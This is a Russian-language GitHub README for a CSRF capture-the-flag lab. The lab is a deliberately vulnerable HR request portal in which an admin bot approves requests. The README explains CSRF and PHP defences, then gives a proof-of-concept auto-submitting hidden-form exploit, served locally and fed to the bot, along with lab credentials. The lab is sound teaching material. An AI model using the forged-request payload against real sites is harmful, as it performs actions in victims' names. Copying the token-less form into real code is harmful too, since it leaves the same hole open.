Skip to content

validverify/csrf-ctf

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CSRF в системе заявок

Краткое описание уязвимости

CSRF (Cross-Site Request Forgery) - межсайтовая подделка запроса, уязвимость возникает, когда веб приложение позволяет изменять состояние системы без проверки, что запрос был инициирован самим пользователем, а не сторонним сайтом.

Ключевая причина, это отсутствие CSRF токенов в формах и проверки Origin/Referer заголовков на сервере.

В чем опасность уязвимости?

  • Злоумышленник может создать страницу со скрытой формой
  • При переходе жертвы, форма автоматически отправляется
  • Атакующий может одобрить свою заявку, сменить пароль или выполнить любое действие от имени жертвы

Способы защиты:

1. Использовать CSRF-токены

// Генерация токена в сессии
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// В форме
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// Проверка на сервере
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF атака!');
}

2. Проверка Referer/Origin заголовков

$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'omnicorp.internal') === false) {
    die('Доступ запрещен');
}

3. SameSite cookies

setcookie("session", $value, [
    'samesite' => 'Strict',
    'httponly' => true
]);

Запуск приложения

Требования

  • Docker Toolbox

Быстрый старт

# Клонирование репозитория
git clone https://github.com/validverify/csrf-ctf.git
cd csrf-ctf

# Создание файла с переменными окружения
cp .env.ctf .env

# Запуск приложения
docker-compose up --build

Компоненты приложения

  • Само уязвимое приложение
  • Бот администратор

Переменные для окружения(.env)

Название перменной Описание Значение
FLAG Флаг выигрыша practice{csrf_ctf}
WEB_PORT Порт работы веба 8080
ADMIN_USERNAME Логин администратора hr_manager
ADMIN_PASSWORD Пароль администратора hr123

Уязвимость в реализованном приложении

Расположение уязвимости

В файле WEB/admin.php форма одобрения заявок:

<!-- В админ-панели нет CSRF токена! -->
<form method="POST" style="display: inline;">
    <input type="hidden" name="request_id" value="<?php echo $req['id']; ?>">
    <button type="submit" name="approve" class="btn btn-green">✅</button>
</form>

Так же, обработчик на сервере не проверяет происхождение запроса:

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['approve'])) {
    $request_id = $_POST['request_id'] ?? '';
    if ($request_id && approve_request($request_id)) {
        $message = 'Заявка одобрена'; // Ezpdbvj
    }
}

Proof of Concept

PATH-1: Атака через бота с Selenium

  1. Создать заявку от имени сотрудника
  • Входим в учетку test_user / user123
  • Создаем случайную заявку
  • Запоминаем или копируем ID заявки
  1. Создать CSRF эксплоит
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit</title>
</head>
<body>
    <h1>Loading...</h1>
    
    <form id="csrf" action="http://MACHINE_IP:8080/admin.php" method="POST">
        <input type="hidden" name="request_id" value="ID">
        <input type="hidden" name="approve" value="1">
    </form>
    
    <script>
        document.getElementById('csrf').submit();
    </script>
</body>
</html>
  1. Запустить HTTP сервер В локальной папке с CSRF эксплоитом
python -m http.server 8000
  1. Записать ссылку в файл для бота
echo "http://MACHINE_IP:8000/CSRF.html" > BOT/visitMe.txt
  1. Получить флаг
  • Входим в аккаунт test_user / user123, заново
  • Видим флаг в одобренных заявках

PATH-2: Атака через прямые POST запросы (без Selenium)

Скрипт для автоматического одобрения заявки уже встроен

Структура приложения

csrf-ctf/ ├── docker-compose.yml # Настройка контейнеров ├── .env.ctf # Переменные окружения ├── Dockerfile.web # Сборка веб ├── Dockerfile.bot # Сборка бота ├── WEB/ │ ├── index.php # Главная страница │ ├── login.php # Авторизация │ ├── profile.php # Профиль сотрудника │ ├── admin.php # Уязвимая админ панель │ ├── logout.php # Выход из системы │ ├── db.php # Работа с данными │ └── users.json # Хранилище пользователей и заявок └── BOT/ ├── bot.py # Бот администратор на Selenium и/или requests ├── requirements.txt # Зависимости Python └── visitMe.txt # Файл для ссылок боту

Примечания для Docker Toolbox

Необходимо узнать IP адрес, для дальнейших действий с машиной:

docker-machine ip default

А так же проверить доступность:

docker exec -it csrf_bot ping 192.168.99.1 # Внешняя машина

curl http://192.168.99.100:8080

Пример для .env

# Порты
WEB_PORT=8080

# Флаг
FLAG=practice{csrf_ctf}

# IP для доступа к хосту (для Docker Toolbox)
ATTACKER_IP=192.168.99.1

# Учетные данные админа
ADMIN_USERNAME=hr_manager
ADMIN_PASSWORD=hr123

# Учетные данные тестовых пользователей
TEST_USERNAME=test_user
TEST_PASSWORD=user123
BOB_USERNAME=bob
BOB_PASSWORD=bob123 

About

csrf-ctf - Простой CTF для изучения CSRF уязвимости

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors